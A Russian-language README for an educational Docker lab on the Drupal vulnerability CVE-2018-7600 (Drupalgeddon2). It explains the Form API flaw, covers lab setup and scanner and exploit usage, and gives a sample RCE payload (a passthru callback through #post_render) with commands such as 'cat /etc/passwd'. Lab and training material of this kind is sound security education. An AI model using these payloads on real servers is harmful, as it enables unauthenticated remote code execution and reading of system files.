CVE-2018-7600 Лаборатория уязвимости Drupalgeddon2

Образовательная лаборатория, демонстрирующая эксплуатацию уязвимости CVE-2018-7600 (Drupalgeddon2) с использованием уязвимой среды Drupal 7.56, развёрнутой с помощью Docker.

Этот проект моделирует реальный процесс оценки уязвимостей, включая:

• Настройка уязвимой среды
• Обнаружение (сканер)
• Эксплуатация (RCE)
• Анализ полезной нагрузки
• Документация

Обзор уязвимости

CVE-2018-7600 (Drupalgeddon2) — это критическая уязвимость удалённого выполнения кода (RCE) в Drupal CMS.

Проблема заключается в Form API Drupal, где вводимые пользователем данные могут интерпретироваться как render-массивы, что позволяет злоумышленникам внедрять вредоносные обратные вызовы, такие как:

• passthru
• system
• exec

Это приводит к неаутентифицированному выполнению команд на сервере.

Воздействие

• Удалённое выполнение кода
• Не требуется аутентификация
• Полная компрометация сервера

Целевая версия

• Drupal 7.56 (уязвимая)

Архитектура лаборатории

Attacker (Kali Linux)
|
| HTTP Requests
v
Drupal 7.56 (Vulnerable)
|
v
MySQL Database

Используемые технологии

• Docker
• Docker Compose
• Drupal CMS
• MySQL
• Kali Linux
• Python (Эксплойт и сканер)

Структура репозитория

cve-2018-7600-drupalgeddon2-lab
│
├── README.md
├── setup.md
├── scan.py
├── exploit.py
│
├── lab-setup/
│   └── docker-compose.yml
│
├── screenshots/
│   ├── drupal-dashboard.png
│   ├── drupal-version.png
│   └── rce-output.png
│
├── logs/
│   ├── scan_results.txt
│   └── exploit_log.txt
│
├── payloads/
│   └── payload-list.txt
│
├── report/
│   └── drupalgeddon2-report.pdf

Скриншоты

Панель управления Drupal

Подтверждение версии

Быстрый старт

Клонирование репозитория

git clone https://github.com/Meraj1312/cve-2018-7600-drupalgeddon2-lab.git
cd cve-2018-7600-drupalgeddon2-lab

Запуск лаборатории

docker compose up -d

Доступ к цели

http://localhost:8080

Обнаружение и эксплуатация

1. Сканирование на уязвимость

python3 scan.py http://localhost:8080

Пример вывода:

[~] Scanning http://localhost:8080... VULNERABLE

2. Эксплойт (RCE)

python3 exploit.py http://localhost:8080 id

Пример вывода:

uid=33(www-data) gid=33(www-data)

Пример полезной нагрузки

Базовая структура полезной нагрузки:

name[#post_render][]=passthru
name[#type]=markup
name[#markup]=whoami

Примеры команд:

whoami
id
cat /etc/passwd

Полный список полезных нагрузок доступен в:

payloads/payload-list.txt

Стратегия документирования

Для поддержания чистой и профессиональной структуры репозитория:

README содержит:

• Обзор уязвимости
• Инструкции по настройке лаборатории
• Примеры базовых полезных нагрузок
• Как запустить сканер и эксплойт

PDF-отчёт (report/drupalgeddon2-report.pdf) содержит:

• Подробные шаги эксплуатации
• Запросы и ответы Burp Suite
• Результаты тестирования полезной нагрузки
• Скриншоты выполнения
• Техническое объяснение уязвимости

Такое разделение обеспечивает:

• Чистое представление на GitHub
• Полная техническая документация

Образовательная цель

Эта лаборатория предназначена для:

• Студентов по кибербезопасности
• Практики тестирования на проникновение
• Исследования уязвимостей
• Обучения разработке эксплойтов

Отказ от ответственности

Этот проект предназначен только для образовательных и исследовательских целей.

Не пытайтесь эксплуатировать системы без явного разрешения.

Авторы не несут ответственности за неправильное использование.